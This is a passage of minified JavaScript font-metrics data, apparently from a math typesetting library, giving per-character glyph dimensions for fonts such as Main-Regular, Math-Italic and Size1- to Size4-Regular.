8839:[.19667,.69667,0,0],8846:[0,.55556,0,0],8849:[.19667,.69667,0,0],8850:[.19667,.69667,0,0],8851:[0,.55556,0,0],8852:[0,.55556,0,0],8853:[.13333,.63333,0,0],8854:[.13333,.63333,0,0],8855:[.13333,.63333,0,0],8856:[.13333,.63333,0,0],8857:[.13333,.63333,0,0],8866:[0,.69444,0,0],8867:[0,.69444,0,0],8868:[0,.69444,0,0],8869:[0,.69444,0,0],8900:[-.02639,.47361,0,0],8901:[-.02639,.47361,0,0],8902:[-.02778,.47222,0,0],8968:[.25,.75,0,0],8969:[.25,.75,0,0],8970:[.25,.75,0,0],8971:[.25,.75,0,0],8994:[-.13889,.36111,0,0],8995:[-.13889,.36111,0,0],9651:[.19444,.69444,0,0],9657:[-.02778,.47222,0,0],9661:[.19444,.69444,0,0],9667:[-.02778,.47222,0,0],9711:[.19444,.69444,0,0],9824:[.12963,.69444,0,0],9825:[.12963,.69444,0,0],9826:[.12963,.69444,0,0],9827:[.12963,.69444,0,0],9837:[0,.75,0,0],9838:[.19444,.69444,0,0],9839:[.19444,.69444,0,0],10216:[.25,.75,0,0],10217:[.25,.75,0,0],10815:[0,.68611,0,0],10927:[.19667,.69667,0,0],10928:[.19667,.69667,0,0]},"Main-Italic":{33:[0,.69444,.12417,0],34:[0,.69444,.06961,0],35:[.19444,.69444,.06616,0],37:[.05556,.75,.13639,0],38:[0,.69444,.09694,0],39:[0,.69444,.12417,0],40:[.25,.75,.16194,0],41:[.25,.75,.03694,0],42:[0,.75,.14917,0],43:[.05667,.56167,.03694,0],44:[.19444,.10556,0,0],45:[0,.43056,.02826,0],46:[0,.10556,0,0],47:[.25,.75,.16194,0],48:[0,.64444,.13556,0],49:[0,.64444,.13556,0],50:[0,.64444,.13556,0],51:[0,.64444,.13556,0],52:[.19444,.64444,.13556,0],53:[0,.64444,.13556,0],54:[0,.64444,.13556,0],55:[.19444,.64444,.13556,0],56:[0,.64444,.13556,0],57:[0,.64444,.13556,0],58:[0,.43056,.0582,0],59:[.19444,.43056,.0582,0],61:[-.13313,.36687,.06616,0],63:[0,.69444,.1225,0],64:[0,.69444,.09597,0],65:[0,.68333,0,0],66:[0,.68333,.10257,0],67:[0,.68333,.14528,0],68:[0,.68333,.09403,0],69:[0,.68333,.12028,0],70:[0,.68333,.13305,0],71:[0,.68333,.08722,0],72:[0,.68333,.16389,0],73:[0,.68333,.15806,0],74:[0,.68333,.14028,0],75:[0,.68333,.14528,0],76:[0,.68333,0,0],77:[0,.68333,.16389,0],78:[0,.68333,.16389,0],79:[0,.68333,.09403,0],80:[0,.68333,.10257,0],81:[.19444,.68333,.09403,0],82:[0,.68333,.03868,0],83:[0,.68333,.11972,0],84:[0,.68333,.13305,0],85:[0,.68333,.16389,0],86:[0,.68333,.18361,0],87:[0,.68333,.18361,0],88:[0,.68333,.15806,0],89:[0,.68333,.19383,0],90:[0,.68333,.14528,0],91:[.25,.75,.1875,0],93:[.25,.75,.10528,0],94:[0,.69444,.06646,0],95:[.31,.12056,.09208,0],97:[0,.43056,.07671,0],98:[0,.69444,.06312,0],99:[0,.43056,.05653,0],100:[0,.69444,.10333,0],101:[0,.43056,.07514,0],102:[.19444,.69444,.21194,0],103:[.19444,.43056,.08847,0],104:[0,.69444,.07671,0],105:[0,.65536,.1019,0],106:[.19444,.65536,.14467,0],107:[0,.69444,.10764,0],108:[0,.69444,.10333,0],109:[0,.43056,.07671,0],110:[0,.43056,.07671,0],111:[0,.43056,.06312,0],112:[.19444,.43056,.06312,0],113:[.19444,.43056,.08847,0],114:[0,.43056,.10764,0],115:[0,.43056,.08208,0],116:[0,.61508,.09486,0],117:[0,.43056,.07671,0],118:[0,.43056,.10764,0],119:[0,.43056,.10764,0],120:[0,.43056,.12042,0],121:[.19444,.43056,.08847,0],122:[0,.43056,.12292,0],126:[.35,.31786,.11585,0],163:[0,.69444,0,0],305:[0,.43056,0,.02778],567:[.19444,.43056,0,.08334],768:[0,.69444,0,0],769:[0,.69444,.09694,0],770:[0,.69444,.06646,0],771:[0,.66786,.11585,0],772:[0,.56167,.10333,0],774:[0,.69444,.10806,0],775:[0,.66786,.11752,0],776:[0,.66786,.10474,0],778:[0,.69444,0,0],779:[0,.69444,.1225,0],780:[0,.62847,.08295,0],915:[0,.68333,.13305,0],916:[0,.68333,0,0],920:[0,.68333,.09403,0],923:[0,.68333,0,0],926:[0,.68333,.15294,0],928:[0,.68333,.16389,0],931:[0,.68333,.12028,0],933:[0,.68333,.11111,0],934:[0,.68333,.05986,0],936:[0,.68333,.11111,0],937:[0,.68333,.10257,0],8211:[0,.43056,.09208,0],8212:[0,.43056,.09208,0],8216:[0,.69444,.12417,0],8217:[0,.69444,.12417,0],8220:[0,.69444,.1685,0],8221:[0,.69444,.06961,0],8463:[0,.68889,0,0]},"Main-Regular":{32:[0,0,0,0],33:[0,.69444,0,0],34:[0,.69444,0,0],35:[.19444,.69444,0,0],36:[.05556,.75,0,0],37:[.05556,.75,0,0],38:[0,.69444,0,0],39:[0,.69444,0,0],40:[.25,.75,0,0],41:[.25,.75,0,0],42:[0,.75,0,0],43:[.08333,.58333,0,0],44:[.19444,.10556,0,0],45:[0,.43056,0,0],46:[0,.10556,0,0],47:[.25,.75,0,0],48:[0,.64444,0,0],49:[0,.64444,0,0],50:[0,.64444,0,0],51:[0,.64444,0,0],52:[0,.64444,0,0],53:[0,.64444,0,0],54:[0,.64444,0,0],55:[0,.64444,0,0],56:[0,.64444,0,0],57:[0,.64444,0,0],58:[0,.43056,0,0],59:[.19444,.43056,0,0],60:[.0391,.5391,0,0],61:[-.13313,.36687,0,0],62:[.0391,.5391,0,0],63:[0,.69444,0,0],64:[0,.69444,0,0],65:[0,.68333,0,0],66:[0,.68333,0,0],67:[0,.68333,0,0],68:[0,.68333,0,0],69:[0,.68333,0,0],70:[0,.68333,0,0],71:[0,.68333,0,0],72:[0,.68333,0,0],73:[0,.68333,0,0],74:[0,.68333,0,0],75:[0,.68333,0,0],76:[0,.68333,0,0],77:[0,.68333,0,0],78:[0,.68333,0,0],79:[0,.68333,0,0],80:[0,.68333,0,0],81:[.19444,.68333,0,0],82:[0,.68333,0,0],83:[0,.68333,0,0],84:[0,.68333,0,0],85:[0,.68333,0,0],86:[0,.68333,.01389,0],87:[0,.68333,.01389,0],88:[0,.68333,0,0],89:[0,.68333,.025,0],90:[0,.68333,0,0],91:[.25,.75,0,0],92:[.25,.75,0,0],93:[.25,.75,0,0],94:[0,.69444,0,0],95:[.31,.12056,.02778,0],96:[0,.69444,0,0],97:[0,.43056,0,0],98:[0,.69444,0,0],99:[0,.43056,0,0],100:[0,.69444,0,0],101:[0,.43056,0,0],102:[0,.69444,.07778,0],103:[.19444,.43056,.01389,0],104:[0,.69444,0,0],105:[0,.66786,0,0],106:[.19444,.66786,0,0],107:[0,.69444,0,0],108:[0,.69444,0,0],109:[0,.43056,0,0],110:[0,.43056,0,0],111:[0,.43056,0,0],112:[.19444,.43056,0,0],113:[.19444,.43056,0,0],114:[0,.43056,0,0],115:[0,.43056,0,0],116:[0,.61508,0,0],117:[0,.43056,0,0],118:[0,.43056,.01389,0],119:[0,.43056,.01389,0],120:[0,.43056,0,0],121:[.19444,.43056,.01389,0],122:[0,.43056,0,0],123:[.25,.75,0,0],124:[.25,.75,0,0],125:[.25,.75,0,0],126:[.35,.31786,0,0],160:[0,0,0,0],168:[0,.66786,0,0],172:[0,.43056,0,0],175:[0,.56778,0,0],176:[0,.69444,0,0],177:[.08333,.58333,0,0],180:[0,.69444,0,0],215:[.08333,.58333,0,0],247:[.08333,.58333,0,0],305:[0,.43056,0,0],567:[.19444,.43056,0,0],710:[0,.69444,0,0],711:[0,.62847,0,0],713:[0,.56778,0,0],714:[0,.69444,0,0],715:[0,.69444,0,0],728:[0,.69444,0,0],729:[0,.66786,0,0],730:[0,.69444,0,0],732:[0,.66786,0,0],768:[0,.69444,0,0],769:[0,.69444,0,0],770:[0,.69444,0,0],771:[0,.66786,0,0],772:[0,.56778,0,0],774:[0,.69444,0,0],775:[0,.66786,0,0],776:[0,.66786,0,0],778:[0,.69444,0,0],779:[0,.69444,0,0],780:[0,.62847,0,0],824:[.19444,.69444,0,0],915:[0,.68333,0,0],916:[0,.68333,0,0],920:[0,.68333,0,0],923:[0,.68333,0,0],926:[0,.68333,0,0],928:[0,.68333,0,0],931:[0,.68333,0,0],933:[0,.68333,0,0],934:[0,.68333,0,0],936:[0,.68333,0,0],937:[0,.68333,0,0],8211:[0,.43056,.02778,0],8212:[0,.43056,.02778,0],8216:[0,.69444,0,0],8217:[0,.69444,0,0],8220:[0,.69444,0,0],8221:[0,.69444,0,0],8224:[.19444,.69444,0,0],8225:[.19444,.69444,0,0],8230:[0,.12,0,0],8242:[0,.55556,0,0],8407:[0,.71444,.15382,0],8463:[0,.68889,0,0],8465:[0,.69444,0,0],8467:[0,.69444,0,.11111],8472:[.19444,.43056,0,.11111],8476:[0,.69444,0,0],8501:[0,.69444,0,0],8592:[-.13313,.36687,0,0],8593:[.19444,.69444,0,0],8594:[-.13313,.36687,0,0],8595:[.19444,.69444,0,0],8596:[-.13313,.36687,0,0],8597:[.25,.75,0,0],8598:[.19444,.69444,0,0],8599:[.19444,.69444,0,0],8600:[.19444,.69444,0,0],8601:[.19444,.69444,0,0],8614:[.011,.511,0,0],8617:[.011,.511,0,0],8618:[.011,.511,0,0],8636:[-.13313,.36687,0,0],8637:[-.13313,.36687,0,0],8640:[-.13313,.36687,0,0],8641:[-.13313,.36687,0,0],8652:[.011,.671,0,0],8656:[-.13313,.36687,0,0],8657:[.19444,.69444,0,0],8658:[-.13313,.36687,0,0],8659:[.19444,.69444,0,0],8660:[-.13313,.36687,0,0],8661:[.25,.75,0,0],8704:[0,.69444,0,0],8706:[0,.69444,.05556,.08334],8707:[0,.69444,0,0],8709:[.05556,.75,0,0],8711:[0,.68333,0,0],8712:[.0391,.5391,0,0],8715:[.0391,.5391,0,0],8722:[.08333,.58333,0,0],8723:[.08333,.58333,0,0],8725:[.25,.75,0,0],8726:[.25,.75,0,0],8727:[-.03472,.46528,0,0],8728:[-.05555,.44445,0,0],8729:[-.05555,.44445,0,0],8730:[.2,.8,0,0],8733:[0,.43056,0,0],8734:[0,.43056,0,0],8736:[0,.69224,0,0],8739:[.25,.75,0,0],8741:[.25,.75,0,0],8743:[0,.55556,0,0],8744:[0,.55556,0,0],8745:[0,.55556,0,0],8746:[0,.55556,0,0],8747:[.19444,.69444,.11111,0],8764:[-.13313,.36687,0,0],8768:[.19444,.69444,0,0],8771:[-.03625,.46375,0,0],8773:[-.022,.589,0,0],8776:[-.01688,.48312,0,0],8781:[-.03625,.46375,0,0],8784:[-.133,.67,0,0],8800:[.215,.716,0,0],8801:[-.03625,.46375,0,0],8804:[.13597,.63597,0,0],8805:[.13597,.63597,0,0],8810:[.0391,.5391,0,0],8811:[.0391,.5391,0,0],8826:[.0391,.5391,0,0],8827:[.0391,.5391,0,0],8834:[.0391,.5391,0,0],8835:[.0391,.5391,0,0],8838:[.13597,.63597,0,0],8839:[.13597,.63597,0,0],8846:[0,.55556,0,0],8849:[.13597,.63597,0,0],8850:[.13597,.63597,0,0],8851:[0,.55556,0,0],8852:[0,.55556,0,0],8853:[.08333,.58333,0,0],8854:[.08333,.58333,0,0],8855:[.08333,.58333,0,0],8856:[.08333,.58333,0,0],8857:[.08333,.58333,0,0],8866:[0,.69444,0,0],8867:[0,.69444,0,0],8868:[0,.69444,0,0],8869:[0,.69444,0,0],8872:[.249,.75,0,0],8900:[-.05555,.44445,0,0],8901:[-.05555,.44445,0,0],8902:[-.03472,.46528,0,0],8904:[.005,.505,0,0],8942:[.03,.9,0,0],8943:[-.19,.31,0,0],8945:[-.1,.82,0,0],8968:[.25,.75,0,0],8969:[.25,.75,0,0],8970:[.25,.75,0,0],8971:[.25,.75,0,0],8994:[-.14236,.35764,0,0],8995:[-.14236,.35764,0,0],9136:[.244,.744,0,0],9137:[.244,.744,0,0],9651:[.19444,.69444,0,0],9657:[-.03472,.46528,0,0],9661:[.19444,.69444,0,0],9667:[-.03472,.46528,0,0],9711:[.19444,.69444,0,0],9824:[.12963,.69444,0,0],9825:[.12963,.69444,0,0],9826:[.12963,.69444,0,0],9827:[.12963,.69444,0,0],9837:[0,.75,0,0],9838:[.19444,.69444,0,0],9839:[.19444,.69444,0,0],10216:[.25,.75,0,0],10217:[.25,.75,0,0],10222:[.244,.744,0,0],10223:[.244,.744,0,0],10229:[.011,.511,0,0],10230:[.011,.511,0,0],10231:[.011,.511,0,0],10232:[.024,.525,0,0],10233:[.024,.525,0,0],10234:[.024,.525,0,0],10236:[.011,.511,0,0],10815:[0,.68333,0,0],10927:[.13597,.63597,0,0],10928:[.13597,.63597,0,0]},"Math-BoldItalic":{47:[.19444,.69444,0,0],65:[0,.68611,0,0],66:[0,.68611,.04835,0],67:[0,.68611,.06979,0],68:[0,.68611,.03194,0],69:[0,.68611,.05451,0],70:[0,.68611,.15972,0],71:[0,.68611,0,0],72:[0,.68611,.08229,0],73:[0,.68611,.07778,0],74:[0,.68611,.10069,0],75:[0,.68611,.06979,0],76:[0,.68611,0,0],77:[0,.68611,.11424,0],78:[0,.68611,.11424,0],79:[0,.68611,.03194,0],80:[0,.68611,.15972,0],81:[.19444,.68611,0,0],82:[0,.68611,.00421,0],83:[0,.68611,.05382,0],84:[0,.68611,.15972,0],85:[0,.68611,.11424,0],86:[0,.68611,.25555,0],87:[0,.68611,.15972,0],88:[0,.68611,.07778,0],89:[0,.68611,.25555,0],90:[0,.68611,.06979,0],97:[0,.44444,0,0],98:[0,.69444,0,0],99:[0,.44444,0,0],100:[0,.69444,0,0],101:[0,.44444,0,0],102:[.19444,.69444,.11042,0],103:[.19444,.44444,.03704,0],104:[0,.69444,0,0],105:[0,.69326,0,0],106:[.19444,.69326,.0622,0],107:[0,.69444,.01852,0],108:[0,.69444,.0088,0],109:[0,.44444,0,0],110:[0,.44444,0,0],111:[0,.44444,0,0],112:[.19444,.44444,0,0],113:[.19444,.44444,.03704,0],114:[0,.44444,.03194,0],115:[0,.44444,0,0],116:[0,.63492,0,0],117:[0,.44444,0,0],118:[0,.44444,.03704,0],119:[0,.44444,.02778,0],120:[0,.44444,0,0],121:[.19444,.44444,.03704,0],122:[0,.44444,.04213,0],915:[0,.68611,.15972,0],916:[0,.68611,0,0],920:[0,.68611,.03194,0],923:[0,.68611,0,0],926:[0,.68611,.07458,0],928:[0,.68611,.08229,0],931:[0,.68611,.05451,0],933:[0,.68611,.15972,0],934:[0,.68611,0,0],936:[0,.68611,.11653,0],937:[0,.68611,.04835,0],945:[0,.44444,0,0],946:[.19444,.69444,.03403,0],947:[.19444,.44444,.06389,0],948:[0,.69444,.03819,0],949:[0,.44444,0,0],950:[.19444,.69444,.06215,0],951:[.19444,.44444,.03704,0],952:[0,.69444,.03194,0],953:[0,.44444,0,0],954:[0,.44444,0,0],955:[0,.69444,0,0],956:[.19444,.44444,0,0],957:[0,.44444,.06898,0],958:[.19444,.69444,.03021,0],959:[0,.44444,0,0],960:[0,.44444,.03704,0],961:[.19444,.44444,0,0],962:[.09722,.44444,.07917,0],963:[0,.44444,.03704,0],964:[0,.44444,.13472,0],965:[0,.44444,.03704,0],966:[.19444,.44444,0,0],967:[.19444,.44444,0,0],968:[.19444,.69444,.03704,0],969:[0,.44444,.03704,0],977:[0,.69444,0,0],981:[.19444,.69444,0,0],982:[0,.44444,.03194,0],1009:[.19444,.44444,0,0],1013:[0,.44444,0,0]},"Math-Italic":{47:[.19444,.69444,0,0],65:[0,.68333,0,.13889],66:[0,.68333,.05017,.08334],67:[0,.68333,.07153,.08334],68:[0,.68333,.02778,.05556],69:[0,.68333,.05764,.08334],70:[0,.68333,.13889,.08334],71:[0,.68333,0,.08334],72:[0,.68333,.08125,.05556],73:[0,.68333,.07847,.11111],74:[0,.68333,.09618,.16667],75:[0,.68333,.07153,.05556],76:[0,.68333,0,.02778],77:[0,.68333,.10903,.08334],78:[0,.68333,.10903,.08334],79:[0,.68333,.02778,.08334],80:[0,.68333,.13889,.08334],81:[.19444,.68333,0,.08334],82:[0,.68333,.00773,.08334],83:[0,.68333,.05764,.08334],84:[0,.68333,.13889,.08334],85:[0,.68333,.10903,.02778],86:[0,.68333,.22222,0],87:[0,.68333,.13889,0],88:[0,.68333,.07847,.08334],89:[0,.68333,.22222,0],90:[0,.68333,.07153,.08334],97:[0,.43056,0,0],98:[0,.69444,0,0],99:[0,.43056,0,.05556],100:[0,.69444,0,.16667],101:[0,.43056,0,.05556],102:[.19444,.69444,.10764,.16667],103:[.19444,.43056,.03588,.02778],104:[0,.69444,0,0],105:[0,.65952,0,0],106:[.19444,.65952,.05724,0],107:[0,.69444,.03148,0],108:[0,.69444,.01968,.08334],109:[0,.43056,0,0],110:[0,.43056,0,0],111:[0,.43056,0,.05556],112:[.19444,.43056,0,.08334],113:[.19444,.43056,.03588,.08334],114:[0,.43056,.02778,.05556],115:[0,.43056,0,.05556],116:[0,.61508,0,.08334],117:[0,.43056,0,.02778],118:[0,.43056,.03588,.02778],119:[0,.43056,.02691,.08334],120:[0,.43056,0,.02778],121:[.19444,.43056,.03588,.05556],122:[0,.43056,.04398,.05556],915:[0,.68333,.13889,.08334],916:[0,.68333,0,.16667],920:[0,.68333,.02778,.08334],923:[0,.68333,0,.16667],926:[0,.68333,.07569,.08334],928:[0,.68333,.08125,.05556],931:[0,.68333,.05764,.08334],933:[0,.68333,.13889,.05556],934:[0,.68333,0,.08334],936:[0,.68333,.11,.05556],937:[0,.68333,.05017,.08334],945:[0,.43056,.0037,.02778],946:[.19444,.69444,.05278,.08334],947:[.19444,.43056,.05556,0],948:[0,.69444,.03785,.05556],949:[0,.43056,0,.08334],950:[.19444,.69444,.07378,.08334],951:[.19444,.43056,.03588,.05556],952:[0,.69444,.02778,.08334],953:[0,.43056,0,.05556],954:[0,.43056,0,0],955:[0,.69444,0,0],956:[.19444,.43056,0,.02778],957:[0,.43056,.06366,.02778],958:[.19444,.69444,.04601,.11111],959:[0,.43056,0,.05556],960:[0,.43056,.03588,0],961:[.19444,.43056,0,.08334],962:[.09722,.43056,.07986,.08334],963:[0,.43056,.03588,0],964:[0,.43056,.1132,.02778],965:[0,.43056,.03588,.02778],966:[.19444,.43056,0,.08334],967:[.19444,.43056,0,.05556],968:[.19444,.69444,.03588,.11111],969:[0,.43056,.03588,0],977:[0,.69444,0,.08334],981:[.19444,.69444,0,.08334],982:[0,.43056,.02778,0],1009:[.19444,.43056,0,.08334],1013:[0,.43056,0,.05556]},"Math-Regular":{65:[0,.68333,0,.13889],66:[0,.68333,.05017,.08334],67:[0,.68333,.07153,.08334],68:[0,.68333,.02778,.05556],69:[0,.68333,.05764,.08334],70:[0,.68333,.13889,.08334],71:[0,.68333,0,.08334],72:[0,.68333,.08125,.05556],73:[0,.68333,.07847,.11111],74:[0,.68333,.09618,.16667],75:[0,.68333,.07153,.05556],76:[0,.68333,0,.02778],77:[0,.68333,.10903,.08334],78:[0,.68333,.10903,.08334],79:[0,.68333,.02778,.08334],80:[0,.68333,.13889,.08334],81:[.19444,.68333,0,.08334],82:[0,.68333,.00773,.08334],83:[0,.68333,.05764,.08334],84:[0,.68333,.13889,.08334],85:[0,.68333,.10903,.02778],86:[0,.68333,.22222,0],87:[0,.68333,.13889,0],88:[0,.68333,.07847,.08334],89:[0,.68333,.22222,0],90:[0,.68333,.07153,.08334],97:[0,.43056,0,0],98:[0,.69444,0,0],99:[0,.43056,0,.05556],100:[0,.69444,0,.16667],101:[0,.43056,0,.05556],102:[.19444,.69444,.10764,.16667],103:[.19444,.43056,.03588,.02778],104:[0,.69444,0,0],105:[0,.65952,0,0],106:[.19444,.65952,.05724,0],107:[0,.69444,.03148,0],108:[0,.69444,.01968,.08334],109:[0,.43056,0,0],110:[0,.43056,0,0],111:[0,.43056,0,.05556],112:[.19444,.43056,0,.08334],113:[.19444,.43056,.03588,.08334],114:[0,.43056,.02778,.05556],115:[0,.43056,0,.05556],116:[0,.61508,0,.08334],117:[0,.43056,0,.02778],118:[0,.43056,.03588,.02778],119:[0,.43056,.02691,.08334],120:[0,.43056,0,.02778],121:[.19444,.43056,.03588,.05556],122:[0,.43056,.04398,.05556],915:[0,.68333,.13889,.08334],916:[0,.68333,0,.16667],920:[0,.68333,.02778,.08334],923:[0,.68333,0,.16667],926:[0,.68333,.07569,.08334],928:[0,.68333,.08125,.05556],931:[0,.68333,.05764,.08334],933:[0,.68333,.13889,.05556],934:[0,.68333,0,.08334],936:[0,.68333,.11,.05556],937:[0,.68333,.05017,.08334],945:[0,.43056,.0037,.02778],946:[.19444,.69444,.05278,.08334],947:[.19444,.43056,.05556,0],948:[0,.69444,.03785,.05556],949:[0,.43056,0,.08334],950:[.19444,.69444,.07378,.08334],951:[.19444,.43056,.03588,.05556],952:[0,.69444,.02778,.08334],953:[0,.43056,0,.05556],954:[0,.43056,0,0],955:[0,.69444,0,0],956:[.19444,.43056,0,.02778],957:[0,.43056,.06366,.02778],958:[.19444,.69444,.04601,.11111],959:[0,.43056,0,.05556],960:[0,.43056,.03588,0],961:[.19444,.43056,0,.08334],962:[.09722,.43056,.07986,.08334],963:[0,.43056,.03588,0],964:[0,.43056,.1132,.02778],965:[0,.43056,.03588,.02778],966:[.19444,.43056,0,.08334],967:[.19444,.43056,0,.05556],968:[.19444,.69444,.03588,.11111],969:[0,.43056,.03588,0],977:[0,.69444,0,.08334],981:[.19444,.69444,0,.08334],982:[0,.43056,.02778,0],1009:[.19444,.43056,0,.08334],1013:[0,.43056,0,.05556]},"SansSerif-Regular":{33:[0,.69444,0,0],34:[0,.69444,0,0],35:[.19444,.69444,0,0],36:[.05556,.75,0,0],37:[.05556,.75,0,0],38:[0,.69444,0,0],39:[0,.69444,0,0],40:[.25,.75,0,0],41:[.25,.75,0,0],42:[0,.75,0,0],43:[.08333,.58333,0,0],44:[.125,.08333,0,0],45:[0,.44444,0,0],46:[0,.08333,0,0],47:[.25,.75,0,0],48:[0,.65556,0,0],49:[0,.65556,0,0],50:[0,.65556,0,0],51:[0,.65556,0,0],52:[0,.65556,0,0],53:[0,.65556,0,0],54:[0,.65556,0,0],55:[0,.65556,0,0],56:[0,.65556,0,0],57:[0,.65556,0,0],58:[0,.44444,0,0],59:[.125,.44444,0,0],61:[-.13,.37,0,0],63:[0,.69444,0,0],64:[0,.69444,0,0],65:[0,.69444,0,0],66:[0,.69444,0,0],67:[0,.69444,0,0],68:[0,.69444,0,0],69:[0,.69444,0,0],70:[0,.69444,0,0],71:[0,.69444,0,0],72:[0,.69444,0,0],73:[0,.69444,0,0],74:[0,.69444,0,0],75:[0,.69444,0,0],76:[0,.69444,0,0],77:[0,.69444,0,0],78:[0,.69444,0,0],79:[0,.69444,0,0],80:[0,.69444,0,0],81:[.125,.69444,0,0],82:[0,.69444,0,0],83:[0,.69444,0,0],84:[0,.69444,0,0],85:[0,.69444,0,0],86:[0,.69444,.01389,0],87:[0,.69444,.01389,0],88:[0,.69444,0,0],89:[0,.69444,.025,0],90:[0,.69444,0,0],91:[.25,.75,0,0],93:[.25,.75,0,0],94:[0,.69444,0,0],95:[.35,.09444,.02778,0],97:[0,.44444,0,0],98:[0,.69444,0,0],99:[0,.44444,0,0],100:[0,.69444,0,0],101:[0,.44444,0,0],102:[0,.69444,.06944,0],103:[.19444,.44444,.01389,0],104:[0,.69444,0,0],105:[0,.67937,0,0],106:[.19444,.67937,0,0],107:[0,.69444,0,0],108:[0,.69444,0,0],109:[0,.44444,0,0],110:[0,.44444,0,0],111:[0,.44444,0,0],112:[.19444,.44444,0,0],113:[.19444,.44444,0,0],114:[0,.44444,.01389,0],115:[0,.44444,0,0],116:[0,.57143,0,0],117:[0,.44444,0,0],118:[0,.44444,.01389,0],119:[0,.44444,.01389,0],120:[0,.44444,0,0],121:[.19444,.44444,.01389,0],122:[0,.44444,0,0],126:[.35,.32659,0,0],305:[0,.44444,0,0],567:[.19444,.44444,0,0],768:[0,.69444,0,0],769:[0,.69444,0,0],770:[0,.69444,0,0],771:[0,.67659,0,0],772:[0,.60889,0,0],774:[0,.69444,0,0],775:[0,.67937,0,0],776:[0,.67937,0,0],778:[0,.69444,0,0],779:[0,.69444,0,0],780:[0,.63194,0,0],915:[0,.69444,0,0],916:[0,.69444,0,0],920:[0,.69444,0,0],923:[0,.69444,0,0],926:[0,.69444,0,0],928:[0,.69444,0,0],931:[0,.69444,0,0],933:[0,.69444,0,0],934:[0,.69444,0,0],936:[0,.69444,0,0],937:[0,.69444,0,0],8211:[0,.44444,.02778,0],8212:[0,.44444,.02778,0],8216:[0,.69444,0,0],8217:[0,.69444,0,0],8220:[0,.69444,0,0],8221:[0,.69444,0,0]},"Script-Regular":{65:[0,.7,.22925,0],66:[0,.7,.04087,0],67:[0,.7,.1689,0],68:[0,.7,.09371,0],69:[0,.7,.18583,0],70:[0,.7,.13634,0],71:[0,.7,.17322,0],72:[0,.7,.29694,0],73:[0,.7,.19189,0],74:[.27778,.7,.19189,0],75:[0,.7,.31259,0],76:[0,.7,.19189,0],77:[0,.7,.15981,0],78:[0,.7,.3525,0],79:[0,.7,.08078,0],80:[0,.7,.08078,0],81:[0,.7,.03305,0],82:[0,.7,.06259,0],83:[0,.7,.19189,0],84:[0,.7,.29087,0],85:[0,.7,.25815,0],86:[0,.7,.27523,0],87:[0,.7,.27523,0],88:[0,.7,.26006,0],89:[0,.7,.2939,0],90:[0,.7,.24037,0]},"Size1-Regular":{40:[.35001,.85,0,0],41:[.35001,.85,0,0],47:[.35001,.85,0,0],91:[.35001,.85,0,0],92:[.35001,.85,0,0],93:[.35001,.85,0,0],123:[.35001,.85,0,0],125:[.35001,.85,0,0],710:[0,.72222,0,0],732:[0,.72222,0,0],770:[0,.72222,0,0],771:[0,.72222,0,0],8214:[-99e-5,.601,0,0],8593:[1e-5,.6,0,0],8595:[1e-5,.6,0,0],8657:[1e-5,.6,0,0],8659:[1e-5,.6,0,0],8719:[.25001,.75,0,0],8720:[.25001,.75,0,0],8721:[.25001,.75,0,0],8730:[.35001,.85,0,0],8739:[-.00599,.606,0,0],8741:[-.00599,.606,0,0],8747:[.30612,.805,.19445,0],8748:[.306,.805,.19445,0],8749:[.306,.805,.19445,0],8750:[.30612,.805,.19445,0],8896:[.25001,.75,0,0],8897:[.25001,.75,0,0],8898:[.25001,.75,0,0],8899:[.25001,.75,0,0],8968:[.35001,.85,0,0],8969:[.35001,.85,0,0],8970:[.35001,.85,0,0],8971:[.35001,.85,0,0],9168:[-99e-5,.601,0,0],10216:[.35001,.85,0,0],10217:[.35001,.85,0,0],10752:[.25001,.75,0,0],10753:[.25001,.75,0,0],10754:[.25001,.75,0,0],10756:[.25001,.75,0,0],10758:[.25001,.75,0,0]},"Size2-Regular":{40:[.65002,1.15,0,0],41:[.65002,1.15,0,0],47:[.65002,1.15,0,0],91:[.65002,1.15,0,0],92:[.65002,1.15,0,0],93:[.65002,1.15,0,0],123:[.65002,1.15,0,0],125:[.65002,1.15,0,0],710:[0,.75,0,0],732:[0,.75,0,0],770:[0,.75,0,0],771:[0,.75,0,0],8719:[.55001,1.05,0,0],8720:[.55001,1.05,0,0],8721:[.55001,1.05,0,0],8730:[.65002,1.15,0,0],8747:[.86225,1.36,.44445,0],8748:[.862,1.36,.44445,0],8749:[.862,1.36,.44445,0],8750:[.86225,1.36,.44445,0],8896:[.55001,1.05,0,0],8897:[.55001,1.05,0,0],8898:[.55001,1.05,0,0],8899:[.55001,1.05,0,0],8968:[.65002,1.15,0,0],8969:[.65002,1.15,0,0],8970:[.65002,1.15,0,0],8971:[.65002,1.15,0,0],10216:[.65002,1.15,0,0],10217:[.65002,1.15,0,0],10752:[.55001,1.05,0,0],10753:[.55001,1.05,0,0],10754:[.55001,1.05,0,0],10756:[.55001,1.05,0,0],10758:[.55001,1.05,0,0]},"Size3-Regular":{40:[.95003,1.45,0,0],41:[.95003,1.45,0,0],47:[.95003,1.45,0,0],91:[.95003,1.45,0,0],92:[.95003,1.45,0,0],93:[.95003,1.45,0,0],123:[.95003,1.45,0,0],125:[.95003,1.45,0,0],710:[0,.75,0,0],732:[0,.75,0,0],770:[0,.75,0,0],771:[0,.75,0,0],8730:[.95003,1.45,0,0],8968:[.95003,1.45,0,0],8969:[.95003,1.45,0,0],8970:[.95003,1.45,0,0],8971:[.95003,1.45,0,0],10216:[.95003,1.45,0,0],10217:[.95003,1.45,0,0]},"Size4-Regular":{40:[1.25003,1.75,0,0],41:[1.25003,1.75,0,0],47:[1.25003,1.75,0,0],91:[1.25003,1.75,0,0],92:[1.25003,1.75,0,0],93:[1.25003,1.75,0,0],123:[1.25003,1.75,0,0],125:[1.25003,1.75,0,0],710:[0,.825,0,0],732:[0,.825,0,0],770:[0,.825,0,0],771:[0,.825,0,0],8730:[1.25003,1.75,0,0],8968:[1.25003,1.75,0,0],8969:[1.25003,1.75,0,0],8970:[1.25003,1.75,0,0],8971:[1.25003,1.75,0,0],9115:[.64502,1.155,0,0],9116:[1e-5,.6,0,0],9117:[.64502,1.155,0,0],9118:[.64502,1.155,0,0],9119:[1e-5,.6,0,0],9120:[.64502,1.155,0,0],9121:[.64502,1.155,0,0],9122:[-99e-5,.601,0,0],9123:[.64502,1.155,0,0],9124:[.64502,1.155,0,0],9125:[-99e-5,.601,0,0],9126:[.64502,1.155,0,0],9127:[1e-5,.9,0,0],9128:[.65002,1.15,0,0],9129:[.90001,0,0,0],9130:[0,.3,0,0],9131:[1e-5,.9,0,0],9132:[.65002,1.15,0,0],9133:[.90001,0,0,0],9143:[.88502,.915,0,0],10216:[1.25003,1.75,0,0],10217:[1.25003,1.75,0,0],57344:[-.00499,.60